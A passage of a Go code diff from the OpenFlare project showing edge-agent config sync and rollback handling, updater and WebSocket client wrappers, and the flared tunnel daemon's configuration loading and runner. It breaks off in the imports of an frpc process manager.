return nil, errors.New("active config is nil")
|
||||
}
|
||||
sourceJSON := strings.TrimSpace(config.SourceConfigJSON)
|
||||
if sourceJSON == "" {
|
||||
return nil, errors.New("active config source_config_json is empty")
|
||||
}
|
||||
rendered, err := openrestyrender.RenderJSON(sourceJSON, toOpenRestySupportFiles(config.SupportFiles))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
files := fromOpenRestySupportFiles(rendered.SupportFiles)
|
||||
files = append(files, protocol.SupportFile{Path: openrestyrender.SourceConfigFileName, Content: sourceJSON})
|
||||
return &renderedActiveConfig{
|
||||
mainConfig: rendered.MainConfig,
|
||||
routeConfig: rendered.RouteConfig,
|
||||
supportFiles: files,
|
||||
}, nil
|
||||
}
|
||||
|
||||
func toOpenRestySupportFiles(files []protocol.SupportFile) []openrestyrender.SupportFile {
|
||||
if len(files) == 0 {
|
||||
return nil
|
||||
}
|
||||
result := make([]openrestyrender.SupportFile, 0, len(files))
|
||||
for _, file := range files {
|
||||
result = append(result, openrestyrender.SupportFile{Path: file.Path, Content: file.Content})
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
func fromOpenRestySupportFiles(files []openrestyrender.SupportFile) []protocol.SupportFile {
|
||||
if len(files) == 0 {
|
||||
return nil
|
||||
}
|
||||
result := make([]protocol.SupportFile, 0, len(files))
|
||||
for _, file := range files {
|
||||
result = append(result, protocol.SupportFile{Path: file.Path, Content: file.Content})
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
func referencedWAFIPGroupIDs(supportFiles []protocol.SupportFile) ([]uint, error) {
|
||||
var content string
|
||||
for _, file := range supportFiles {
|
||||
if file.Path == "waf_config.json" {
|
||||
content = strings.TrimSpace(file.Content)
|
||||
break
|
||||
}
|
||||
}
|
||||
if content == "" {
|
||||
return []uint{}, nil
|
||||
}
|
||||
var payload openrestyrender.WAFDocument
|
||||
if err := json.Unmarshal([]byte(content), &payload); err != nil {
|
||||
return nil, fmt.Errorf("decode waf_config.json for ip group references: %w", err)
|
||||
}
|
||||
seen := make(map[uint]struct{})
|
||||
for _, group := range payload.RuleGroups {
|
||||
for _, legacyIDs := range [][]uint{group.IPWhitelistGroups, group.IPBlacklistGroups} {
|
||||
for _, id := range legacyIDs {
|
||||
if id > 0 {
|
||||
seen[id] = struct{}{}
|
||||
}
|
||||
}
|
||||
}
|
||||
for nodeID, node := range group.Graph.Nodes {
|
||||
if node.Type != "ip_match" {
|
||||
continue
|
||||
}
|
||||
var config *struct {
|
||||
IPGroupIDs []uint `json:"ip_group_ids"`
|
||||
}
|
||||
if err := json.Unmarshal(node.Config, &config); err != nil || config == nil {
|
||||
if err == nil {
|
||||
err = errors.New("config must be a JSON object")
|
||||
}
|
||||
return nil, fmt.Errorf("decode ip_match config for rule group %d node %s: %w", group.ID, nodeID, err)
|
||||
}
|
||||
for _, id := range config.IPGroupIDs {
|
||||
if id > 0 {
|
||||
seen[id] = struct{}{}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
ids := make([]uint, 0, len(seen))
|
||||
for id := range seen {
|
||||
ids = append(ids, id)
|
||||
}
|
||||
slices.Sort(ids)
|
||||
return ids, nil
|
||||
}
|
||||
|
||||
func shouldReportNoopApply(snapshot *state.Snapshot, version string, checksum string) bool {
|
||||
if snapshot == nil {
|
||||
return false
|
||||
}
|
||||
return strings.TrimSpace(snapshot.CurrentVersion) != strings.TrimSpace(version) ||
|
||||
strings.TrimSpace(snapshot.CurrentChecksum) != strings.TrimSpace(checksum)
|
||||
}
|
||||
|
||||
func (s *Service) reportNoopApply(ctx context.Context, nodeID string, version string, checksum string, mainConfigChecksum string, routeConfigChecksum string, supportFileCount int) error {
|
||||
message := "local config already matches active version; apply skipped"
|
||||
if err := s.client.ReportApplyLog(ctx, protocol.ApplyLogPayload{
|
||||
NodeID: nodeID,
|
||||
Version: strings.TrimSpace(version),
|
||||
Result: ApplyResultSuccess,
|
||||
Message: message,
|
||||
Checksum: strings.TrimSpace(checksum),
|
||||
MainConfigChecksum: strings.TrimSpace(mainConfigChecksum),
|
||||
RouteConfigChecksum: strings.TrimSpace(routeConfigChecksum),
|
||||
SupportFileCount: supportFileCount,
|
||||
}); err != nil {
|
||||
slog.Error("report noop apply log failed", "version", version, "error", err)
|
||||
return err
|
||||
}
|
||||
slog.Debug("noop apply log reported", "version", version)
|
||||
return nil
|
||||
}
|
||||
|
||||
func outcomeError(version string, message string) error {
|
||||
trimmed := strings.TrimSpace(message)
|
||||
if trimmed == "" {
|
||||
trimmed = "openresty apply failed"
|
||||
}
|
||||
return fmt.Errorf("apply version %s failed: %s", version, trimmed)
|
||||
}
|
||||
|
||||
func (s *Service) ensureRuntimeForCurrentConfig(ctx context.Context, mode string, snapshot *state.Snapshot, currentChecksum string) error {
|
||||
if strings.TrimSpace(currentChecksum) == "" {
|
||||
slog.Warn("blocked config cannot be retried and no local checksum is available for runtime recovery", "mode", mode, "blocked_version", snapshot.BlockedVersion)
|
||||
reason := fmt.Sprintf("blocked config %s has no valid local config available for runtime recovery", strings.TrimSpace(snapshot.BlockedVersion))
|
||||
if err := s.nginxManager.EnsureSafeFallbackRuntime(ctx, reason); err != nil {
|
||||
snapshot.OpenrestyStatus = protocol.OpenrestyStatusUnhealthy
|
||||
snapshot.OpenrestyMessage = err.Error()
|
||||
_ = s.stateStore.Save(snapshot)
|
||||
return err
|
||||
}
|
||||
snapshot.OpenrestyStatus = protocol.OpenrestyStatusHealthy
|
||||
snapshot.OpenrestyMessage = "safe default fallback runtime started"
|
||||
return nil
|
||||
}
|
||||
slog.Info("ensuring runtime with current local config while active target remains blocked", "mode", mode, "current_version", snapshot.CurrentVersion, "current_checksum", currentChecksum, "blocked_version", snapshot.BlockedVersion)
|
||||
if err := s.nginxManager.EnsureRuntime(ctx, true); err != nil {
|
||||
if strings.TrimSpace(snapshot.CurrentChecksum) == "" {
|
||||
reason := fmt.Sprintf("blocked config %s has no historical config and current local config cannot start: %v", strings.TrimSpace(snapshot.BlockedVersion), err)
|
||||
fallbackErr := s.nginxManager.EnsureSafeFallbackRuntime(ctx, reason)
|
||||
if fallbackErr == nil {
|
||||
snapshot.OpenrestyStatus = protocol.OpenrestyStatusHealthy
|
||||
snapshot.OpenrestyMessage = "safe default fallback runtime started"
|
||||
return nil
|
||||
}
|
||||
err = fmt.Errorf("%w; fallback recovery failed: %w", err, fallbackErr)
|
||||
}
|
||||
snapshot.OpenrestyStatus = protocol.OpenrestyStatusUnhealthy
|
||||
snapshot.OpenrestyMessage = err.Error()
|
||||
_ = s.stateStore.Save(snapshot)
|
||||
return err
|
||||
}
|
||||
snapshot.OpenrestyStatus = protocol.OpenrestyStatusHealthy
|
||||
if strings.TrimSpace(snapshot.OpenrestyMessage) == strings.TrimSpace(snapshot.BlockedReason) {
|
||||
snapshot.OpenrestyMessage = ""
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func markBlockedTarget(snapshot *state.Snapshot, version string, checksum string, reason string) {
|
||||
if snapshot == nil {
|
||||
return
|
||||
}
|
||||
snapshot.BlockedVersion = strings.TrimSpace(version)
|
||||
snapshot.BlockedChecksum = strings.TrimSpace(checksum)
|
||||
snapshot.BlockedReason = strings.TrimSpace(reason)
|
||||
}
|
||||
|
||||
func clearBlockedTarget(snapshot *state.Snapshot) {
|
||||
if snapshot == nil {
|
||||
return
|
||||
}
|
||||
snapshot.BlockedVersion = ""
|
||||
snapshot.BlockedChecksum = ""
|
||||
snapshot.BlockedReason = ""
|
||||
}
|
||||
|
||||
func hasBlockedTarget(snapshot *state.Snapshot) bool {
|
||||
return snapshot != nil && (strings.TrimSpace(snapshot.BlockedVersion) != "" || strings.TrimSpace(snapshot.BlockedChecksum) != "")
|
||||
}
|
||||
|
||||
func isBlockedTarget(snapshot *state.Snapshot, version string, checksum string) bool {
|
||||
if snapshot == nil {
|
||||
return false
|
||||
}
|
||||
return strings.TrimSpace(snapshot.BlockedVersion) == strings.TrimSpace(version) &&
|
||||
strings.TrimSpace(snapshot.BlockedChecksum) == strings.TrimSpace(checksum) &&
|
||||
(strings.TrimSpace(version) != "" || strings.TrimSpace(checksum) != "")
|
||||
}
|
||||
|
||||
func checksumString(content string) string {
|
||||
sum := sha256.Sum256([]byte(content))
|
||||
return hex.EncodeToString(sum[:])
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,255 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
package sync
|
||||
|
||||
import (
|
||||
"context"
|
||||
"log/slog"
|
||||
"strings"
|
||||
|
||||
"Wavelet/openflare/plugins/agent/nginx"
|
||||
"Wavelet/openflare/plugins/agent/protocol"
|
||||
"Wavelet/openflare/plugins/agent/state"
|
||||
)
|
||||
|
||||
func syncMode(startup bool) string {
|
||||
if startup {
|
||||
return "startup"
|
||||
}
|
||||
return "periodic"
|
||||
}
|
||||
|
||||
func normalizeSyncTarget(target *protocol.ActiveConfigMeta) {
|
||||
if target == nil {
|
||||
return
|
||||
}
|
||||
target.Version = strings.TrimSpace(target.Version)
|
||||
target.Checksum = strings.TrimSpace(target.Checksum)
|
||||
}
|
||||
|
||||
func (s *Service) loadSyncState() (*state.Snapshot, string, error) {
|
||||
snapshot, err := s.stateStore.Load()
|
||||
if err != nil {
|
||||
return nil, "", err
|
||||
}
|
||||
currentChecksum, err := s.nginxManager.CurrentChecksum()
|
||||
if err != nil {
|
||||
return nil, "", err
|
||||
}
|
||||
return snapshot, currentChecksum, nil
|
||||
}
|
||||
|
||||
func (s *Service) syncWithoutTarget(ctx context.Context, mode string, startup bool, snapshot *state.Snapshot, currentChecksum string) error {
|
||||
if !startup {
|
||||
slog.Debug("skipping sync because heartbeat returned no active config summary", "mode", mode)
|
||||
return nil
|
||||
}
|
||||
slog.Debug("sync startup fallback: active config summary unavailable, fetching active config directly")
|
||||
config, fetchErr := s.client.GetActiveConfig(ctx)
|
||||
if fetchErr != nil {
|
||||
slog.Error("fetch active config failed", "mode", mode, "error", fetchErr)
|
||||
return fetchErr
|
||||
}
|
||||
target := &protocol.ActiveConfigMeta{
|
||||
Version: config.Version,
|
||||
Checksum: config.Checksum,
|
||||
}
|
||||
return s.applyIfNeeded(ctx, mode, startup, snapshot, currentChecksum, target, config)
|
||||
}
|
||||
|
||||
func (s *Service) syncMatchingChecksum(ctx context.Context, mode string, startup bool, snapshot *state.Snapshot, currentChecksum string, target *protocol.ActiveConfigMeta) error {
|
||||
if startup {
|
||||
config, fetchErr := s.client.GetActiveConfig(ctx)
|
||||
if fetchErr != nil {
|
||||
slog.Error("fetch active config failed", "mode", mode, "error", fetchErr)
|
||||
return fetchErr
|
||||
}
|
||||
return s.applyIfNeeded(ctx, mode, startup, snapshot, currentChecksum, target, config)
|
||||
}
|
||||
return s.finishUpToDateSync(ctx, mode, snapshot, target)
|
||||
}
|
||||
|
||||
func (s *Service) finishUpToDateSync(ctx context.Context, mode string, snapshot *state.Snapshot, target *protocol.ActiveConfigMeta) error {
|
||||
if err := s.reconcilePages(ctx, mode, snapshot); err != nil {
|
||||
return err
|
||||
}
|
||||
slog.Debug("local openresty config already up to date", "mode", mode, "version", target.Version)
|
||||
if shouldReportNoopApply(snapshot, target.Version, target.Checksum) {
|
||||
if err := s.reportNoopApply(ctx, snapshot.NodeID, target.Version, target.Checksum, "", "", 0); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
snapshot.CurrentVersion = target.Version
|
||||
snapshot.CurrentChecksum = target.Checksum
|
||||
clearBlockedTarget(snapshot)
|
||||
snapshot.LastError = ""
|
||||
slog.Debug("sync finished without changes", "mode", mode, "version", target.Version)
|
||||
return s.stateStore.Save(snapshot)
|
||||
}
|
||||
|
||||
func (s *Service) reconcilePages(ctx context.Context, mode string, snapshot *state.Snapshot) error {
|
||||
if !pagesReconcileNeeded(snapshot) {
|
||||
return nil
|
||||
}
|
||||
if pagesDiscoveryNeeded(snapshot) {
|
||||
config, err := s.client.GetActiveConfig(ctx)
|
||||
if err != nil {
|
||||
slog.Error("fetch active config failed", "mode", mode, "error", err)
|
||||
return err
|
||||
}
|
||||
return s.syncPagesDeployments(ctx, snapshot, config)
|
||||
}
|
||||
return s.syncPagesDeployments(ctx, snapshot, nil)
|
||||
}
|
||||
|
||||
func (s *Service) syncMismatchedChecksum(ctx context.Context, mode string, startup bool, snapshot *state.Snapshot, currentChecksum string, target *protocol.ActiveConfigMeta) error {
|
||||
if isBlockedTarget(snapshot, target.Version, target.Checksum) {
|
||||
slog.Warn("skipping blocked config version after previous failed apply", "mode", mode, "version", target.Version, "checksum", target.Checksum)
|
||||
if startup {
|
||||
if err := s.ensureRuntimeForCurrentConfig(ctx, mode, snapshot, currentChecksum); err != nil {
|
||||
return err
|
||||
}
|
||||
return s.stateStore.Save(snapshot)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
if hasBlockedTarget(snapshot) {
|
||||
clearBlockedTarget(snapshot)
|
||||
}
|
||||
if snapshot.CurrentVersion == target.Version && snapshot.CurrentChecksum == target.Checksum && !startup {
|
||||
reconciled := pagesReconcileNeeded(snapshot)
|
||||
if err := s.reconcilePages(ctx, mode, snapshot); err != nil {
|
||||
return err
|
||||
}
|
||||
if !reconciled {
|
||||
slog.Debug("skipping config fetch because state already records target version/checksum", "version", target.Version, "checksum", target.Checksum)
|
||||
}
|
||||
// Successful reconcile must clear sticky LastError so health events can resolve.
|
||||
snapshot.LastError = ""
|
||||
return s.stateStore.Save(snapshot)
|
||||
}
|
||||
|
||||
config, err := s.client.GetActiveConfig(ctx)
|
||||
if err != nil {
|
||||
slog.Error("fetch active config failed", "mode", mode, "error", err)
|
||||
return err
|
||||
}
|
||||
return s.applyIfNeeded(ctx, mode, startup, snapshot, currentChecksum, target, config)
|
||||
}
|
||||
|
||||
func (s *Service) handleUpToDateConfig(ctx context.Context, mode string, snapshot *state.Snapshot, config *protocol.ActiveConfigResponse) error {
|
||||
if err := s.syncPagesDeployments(ctx, snapshot, config); err != nil {
|
||||
return err
|
||||
}
|
||||
slog.Debug("local openresty config already up to date", "mode", mode, "version", config.Version)
|
||||
if shouldReportNoopApply(snapshot, config.Version, config.Checksum) {
|
||||
rendered, renderErr := renderActiveConfig(config)
|
||||
if renderErr != nil {
|
||||
return renderErr
|
||||
}
|
||||
if err := s.reportNoopApply(
|
||||
ctx,
|
||||
snapshot.NodeID,
|
||||
config.Version,
|
||||
config.Checksum,
|
||||
checksumString(rendered.mainConfig),
|
||||
checksumString(rendered.routeConfig),
|
||||
len(rendered.supportFiles),
|
||||
); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
snapshot.CurrentVersion = config.Version
|
||||
snapshot.CurrentChecksum = config.Checksum
|
||||
clearBlockedTarget(snapshot)
|
||||
snapshot.LastError = ""
|
||||
slog.Debug("sync finished without changes", "mode", mode, "version", config.Version)
|
||||
return s.stateStore.Save(snapshot)
|
||||
}
|
||||
|
||||
func (s *Service) handleBlockedConfigAfterFetch(ctx context.Context, mode string, startup bool, snapshot *state.Snapshot, currentChecksum string, config *protocol.ActiveConfigResponse) (bool, error) {
|
||||
if !isBlockedTarget(snapshot, config.Version, config.Checksum) {
|
||||
return false, nil
|
||||
}
|
||||
slog.Warn("skipping blocked config after fetch because the same version previously failed", "mode", mode, "version", config.Version, "checksum", config.Checksum)
|
||||
if startup {
|
||||
if err := s.ensureRuntimeForCurrentConfig(ctx, mode, snapshot, currentChecksum); err != nil {
|
||||
return true, err
|
||||
}
|
||||
return true, s.stateStore.Save(snapshot)
|
||||
}
|
||||
return true, nil
|
||||
}
|
||||
|
||||
type applyOutcomeResult struct {
|
||||
reportResult string
|
||||
message string
|
||||
}
|
||||
|
||||
func normalizeApplyOutcome(outcome nginx.ApplyOutcome) (nginx.ApplyOutcome, string) {
|
||||
message := strings.TrimSpace(outcome.Message)
|
||||
if outcome.Status == "" {
|
||||
outcome.Status = nginx.ApplyStatusFatal
|
||||
if message == "" {
|
||||
message = "openresty apply returned empty outcome"
|
||||
}
|
||||
}
|
||||
return outcome, message
|
||||
}
|
||||
|
||||
func updateSnapshotFromApplyOutcome(mode string, snapshot *state.Snapshot, config *protocol.ActiveConfigResponse, outcome nginx.ApplyOutcome, message string) applyOutcomeResult {
|
||||
result := applyOutcomeResult{reportResult: ApplyResultFailed, message: message}
|
||||
switch outcome.Status {
|
||||
case nginx.ApplyStatusSuccess:
|
||||
slog.Info("openresty config applied successfully", "mode", mode, "version", config.Version)
|
||||
snapshot.CurrentVersion = config.Version
|
||||
snapshot.CurrentChecksum = config.Checksum
|
||||
clearBlockedTarget(snapshot)
|
||||
snapshot.LastError = ""
|
||||
snapshot.OpenrestyStatus = protocol.OpenrestyStatusHealthy
|
||||
snapshot.OpenrestyMessage = ""
|
||||
result.reportResult = ApplyResultSuccess
|
||||
if result.message == "" {
|
||||
result.message = "apply success"
|
||||
}
|
||||
case nginx.ApplyStatusWarning:
|
||||
if result.message == "" {
|
||||
result.message = "apply rolled back to previous config"
|
||||
}
|
||||
slog.Warn("openresty config apply rolled back", "mode", mode, "version", config.Version, "message", result.message)
|
||||
markBlockedTarget(snapshot, config.Version, config.Checksum, result.message)
|
||||
snapshot.LastError = result.message
|
||||
snapshot.OpenrestyStatus = protocol.OpenrestyStatusHealthy
|
||||
snapshot.OpenrestyMessage = result.message
|
||||
result.reportResult = ApplyResultWarning
|
||||
case nginx.ApplyStatusFatal:
|
||||
// 致命错误与普通失败同走失败路径：标记阻塞并上报 Unhealthy。
|
||||
fallthrough
|
||||
default:
|
||||
if result.message == "" {
|
||||
result.message = "openresty apply failed"
|
||||
}
|
||||
slog.Error("apply openresty config failed", "mode", mode, "version", config.Version, "message", result.message)
|
||||
markBlockedTarget(snapshot, config.Version, config.Checksum, result.message)
|
||||
snapshot.LastError = result.message
|
||||
snapshot.OpenrestyStatus = protocol.OpenrestyStatusUnhealthy
|
||||
snapshot.OpenrestyMessage = result.message
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
func snapshotMatchesTarget(snapshot *state.Snapshot, version string, checksum string) bool {
|
||||
if snapshot == nil {
|
||||
return false
|
||||
}
|
||||
return strings.TrimSpace(snapshot.CurrentVersion) == strings.TrimSpace(version) &&
|
||||
strings.TrimSpace(snapshot.CurrentChecksum) == strings.TrimSpace(checksum)
|
||||
}
|
||||
|
||||
func shouldReportApplyLog(alreadySynced bool, result string) bool {
|
||||
if result != ApplyResultSuccess {
|
||||
return true
|
||||
}
|
||||
return !alreadySynced
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
// Package updater provides agent self-update integration with the edge updater.
|
||||
package updater
|
||||
|
||||
import (
|
||||
"Wavelet/openflare/plugins/agent/config"
|
||||
edgeupdater "Wavelet/openflare/share/edge/updater"
|
||||
)
|
||||
|
||||
// Service is an alias for the edge updater service type used by the agent.
|
||||
type Service = edgeupdater.Service
|
||||
|
||||
// UpdateOptions is an alias for the edge updater options type.
|
||||
type UpdateOptions = edgeupdater.UpdateOptions
|
||||
|
||||
// New creates and returns a new agent updater Service with the agent-specific configuration.
|
||||
func New() *Service {
|
||||
return edgeupdater.New(edgeupdater.Config{
|
||||
LocalVersion: config.Version,
|
||||
AssetPrefix: "openflare-agent",
|
||||
LogLabel: "agent",
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,49 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
// Package wsclient provides the agent-side WebSocket client for connecting to the OpenFlare server.
|
||||
package wsclient
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"Wavelet/openflare/plugins/agent/protocol"
|
||||
edgews "Wavelet/openflare/share/edge/wsclient"
|
||||
)
|
||||
|
||||
// WSMessage is an alias for the WebSocket message type.
|
||||
type WSMessage = edgews.WSMessage
|
||||
|
||||
// MessageHandler is an alias for the WebSocket message handler function type.
|
||||
type MessageHandler = edgews.MessageHandler
|
||||
|
||||
// Connection is an alias for the AgentConnection interface.
|
||||
type Connection = edgews.AgentConnection
|
||||
|
||||
// Client wraps the connection client for agent WebSockets.
|
||||
type Client struct {
|
||||
inner *edgews.Client
|
||||
}
|
||||
|
||||
// New creates a new Client instance.
|
||||
func New(baseURL, token string, timeout time.Duration) *Client {
|
||||
return &Client{
|
||||
inner: edgews.New(edgews.PresetAgent, baseURL, token, timeout),
|
||||
}
|
||||
}
|
||||
|
||||
// SetToken updates the client's token.
|
||||
func (c *Client) SetToken(token string) {
|
||||
c.inner.SetToken(token)
|
||||
}
|
||||
|
||||
// URL returns the WebSocket client's target URL.
|
||||
func (c *Client) URL() string {
|
||||
return c.inner.URL()
|
||||
}
|
||||
|
||||
// Connect establishes a WebSocket connection to the server and returns the connection handle.
|
||||
func (c *Client) Connect(ctx context.Context) (protocol.WebSocketConnection, error) {
|
||||
return c.inner.ConnectAgent(ctx)
|
||||
}
|
||||
@@ -0,0 +1,147 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
// Package config loads and persists flared daemon configuration.
|
||||
package config
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
edgeconfig "Wavelet/openflare/share/edge/config"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultHeartbeatInterval = 10 * time.Second
|
||||
defaultSyncInterval = 30 * time.Second
|
||||
defaultRequestTimeout = 10 * time.Second
|
||||
configFilePerm = 0o644
|
||||
)
|
||||
|
||||
// MillisecondDuration is a JSON-friendly duration type shared with edge config.
|
||||
type MillisecondDuration = edgeconfig.MillisecondDuration
|
||||
|
||||
// Config holds flared daemon settings loaded from file and environment.
|
||||
type Config struct {
|
||||
ServerURL string `json:"server_url"`
|
||||
TunnelToken string `json:"tunnel_token"`
|
||||
FrpcPath string `json:"frpc_path"`
|
||||
DataDir string `json:"data_dir"`
|
||||
StatePath string `json:"state_path"`
|
||||
HeartbeatInterval MillisecondDuration `json:"heartbeat_interval"`
|
||||
SyncInterval MillisecondDuration `json:"sync_interval"`
|
||||
RequestTimeout MillisecondDuration `json:"request_timeout"`
|
||||
configPath string
|
||||
}
|
||||
|
||||
// Load reads configuration from path, applying environment overrides and defaults.
|
||||
func Load(path string) (*Config, error) {
|
||||
data, err := os.ReadFile(path) //nolint:gosec // path is the flared config file location from startup configuration
|
||||
if err != nil && !os.IsNotExist(err) {
|
||||
return nil, err
|
||||
}
|
||||
cfg := &Config{}
|
||||
if err == nil {
|
||||
if err = json.Unmarshal(data, cfg); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if err != nil && !hasEnvConfig() {
|
||||
return nil, err
|
||||
}
|
||||
cfg.configPath = path
|
||||
applyEnvOverrides(cfg)
|
||||
applyDefaults(cfg, filepath.Dir(path))
|
||||
if err = validate(cfg); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return cfg, nil
|
||||
}
|
||||
|
||||
func hasEnvConfig() bool {
|
||||
for _, key := range []string{
|
||||
"OPENFLARE_SERVER_URL",
|
||||
"OPENFLARE_TUNNEL_TOKEN",
|
||||
"OPENFLARE_DATA_DIR",
|
||||
"OPENFLARE_FRPC_PATH",
|
||||
} {
|
||||
if strings.TrimSpace(os.Getenv(key)) != "" {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func applyEnvOverrides(cfg *Config) {
|
||||
if cfg == nil {
|
||||
return
|
||||
}
|
||||
overrideString := func(key string, target *string) {
|
||||
if value := strings.TrimSpace(os.Getenv(key)); value != "" {
|
||||
*target = value
|
||||
}
|
||||
}
|
||||
overrideString("OPENFLARE_SERVER_URL", &cfg.ServerURL)
|
||||
overrideString("OPENFLARE_TUNNEL_TOKEN", &cfg.TunnelToken)
|
||||
overrideString("OPENFLARE_DATA_DIR", &cfg.DataDir)
|
||||
overrideString("OPENFLARE_FRPC_PATH", &cfg.FrpcPath)
|
||||
}
|
||||
|
||||
func applyDefaults(cfg *Config, baseDir string) {
|
||||
baseDir = filepath.Clean(baseDir)
|
||||
if cfg.FrpcPath == "" {
|
||||
cfg.FrpcPath = "frpc" // rely on PATH
|
||||
}
|
||||
if cfg.DataDir == "" {
|
||||
cfg.DataDir = filepath.Join(baseDir, "data")
|
||||
}
|
||||
if cfg.StatePath == "" {
|
||||
cfg.StatePath = filepath.Join(cfg.DataDir, "flared-state.json")
|
||||
}
|
||||
if cfg.HeartbeatInterval <= 0 {
|
||||
cfg.HeartbeatInterval = MillisecondDuration(defaultHeartbeatInterval)
|
||||
}
|
||||
if cfg.SyncInterval <= 0 {
|
||||
cfg.SyncInterval = MillisecondDuration(defaultSyncInterval)
|
||||
}
|
||||
if cfg.RequestTimeout <= 0 {
|
||||
cfg.RequestTimeout = MillisecondDuration(defaultRequestTimeout)
|
||||
}
|
||||
}
|
||||
|
||||
func validate(cfg *Config) error {
|
||||
if cfg.ServerURL == "" {
|
||||
return errors.New("server_url 不能为空")
|
||||
}
|
||||
if strings.TrimSpace(cfg.TunnelToken) == "" {
|
||||
return errors.New("tunnel_token 不能为空")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// InitialAuthToken returns the tunnel token used for initial authentication.
|
||||
func (cfg *Config) InitialAuthToken() string {
|
||||
if cfg == nil {
|
||||
return ""
|
||||
}
|
||||
return strings.TrimSpace(cfg.TunnelToken)
|
||||
}
|
||||
|
||||
// Save writes the current configuration back to the loaded config path.
|
||||
func (cfg *Config) Save() error {
|
||||
if cfg == nil {
|
||||
return errors.New("config 不能为空")
|
||||
}
|
||||
if cfg.configPath == "" {
|
||||
return errors.New("config path 未初始化")
|
||||
}
|
||||
data, err := json.MarshalIndent(cfg, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return os.WriteFile(cfg.configPath, data, configFilePerm)
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
package config
|
||||
|
||||
// Version is the flared daemon build version string.
|
||||
var Version = "dev"
|
||||
@@ -0,0 +1,77 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
// Package flared implements the tunnel client daemon runtime loop.
|
||||
package flared
|
||||
|
||||
import (
|
||||
"context"
|
||||
"log/slog"
|
||||
|
||||
"Wavelet/openflare/plugins/flared/config"
|
||||
"Wavelet/openflare/plugins/flared/frpc"
|
||||
"Wavelet/openflare/plugins/flared/heartbeat"
|
||||
"Wavelet/openflare/plugins/flared/httpclient"
|
||||
"Wavelet/openflare/plugins/flared/sync"
|
||||
"Wavelet/openflare/plugins/flared/wsclient"
|
||||
edgerunner "Wavelet/openflare/share/edge/runner"
|
||||
)
|
||||
|
||||
// Runner is the top-level orchestrator for the flared agent. It wires together
|
||||
// heartbeat, sync, frpc management, and the WebSocket control-plane connection.
|
||||
type Runner struct {
|
||||
Config *config.Config
|
||||
HeartbeatService *heartbeat.Service
|
||||
FrpcManager *frpc.Manager
|
||||
SyncService *sync.Service
|
||||
WebSocketService *wsclient.Client
|
||||
HTTPClient *httpclient.Client
|
||||
}
|
||||
|
||||
// Run starts all background services and enters the WebSocket reconnect loop.
|
||||
// It blocks until ctx is cancelled or an unrecoverable error occurs.
|
||||
func (r *Runner) Run(ctx context.Context) error {
|
||||
go r.HeartbeatService.Run(ctx)
|
||||
go r.SyncService.Run(ctx)
|
||||
|
||||
return edgerunner.RunWSReconnectLoop(ctx, edgerunner.WSReconnectConfig{
|
||||
ComponentName: "flared",
|
||||
OnShutdown: r.FrpcManager.Stop,
|
||||
}, func(ctx context.Context) (edgerunner.WSConnection, error) {
|
||||
return r.WebSocketService.Connect(ctx)
|
||||
}, func(ctx context.Context, conn edgerunner.WSConnection) {
|
||||
r.handleConnection(ctx, conn)
|
||||
})
|
||||
}
|
||||
|
||||
type flaredWSHandler struct {
|
||||
runner *Runner
|
||||
}
|
||||
|
||||
func (h *flaredWSHandler) OnConnect(_ context.Context) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (h *flaredWSHandler) HandleMessage(_ context.Context, msg wsclient.WSMessage) error {
|
||||
switch msg.Type {
|
||||
case "active_config":
|
||||
slog.Info("received config update notification from server")
|
||||
h.runner.SyncService.Trigger()
|
||||
default:
|
||||
slog.Debug("ignored unknown ws message type", "type", msg.Type)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (h *flaredWSHandler) OnClose(err error) {
|
||||
slog.Error("flared ws receive failed", "error", err)
|
||||
}
|
||||
|
||||
func (r *Runner) handleConnection(ctx context.Context, conn edgerunner.WSConnection) {
|
||||
wsConn, ok := conn.(*wsclient.Connection)
|
||||
if !ok {
|
||||
slog.Error("flared ws connection has unexpected type")
|
||||
return
|
||||
}
|
||||
_ = wsConn.RunReceiveLoop(ctx, &flaredWSHandler{runner: r})
|
||||
}
|
||||
@@ -0,0 +1,395 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
// Package frpc manages frpc child processes for tunnel relay connections.
|
||||
package frpc
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"log/slog"
|
||||
"net"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"syscall"
|
||||
"time"
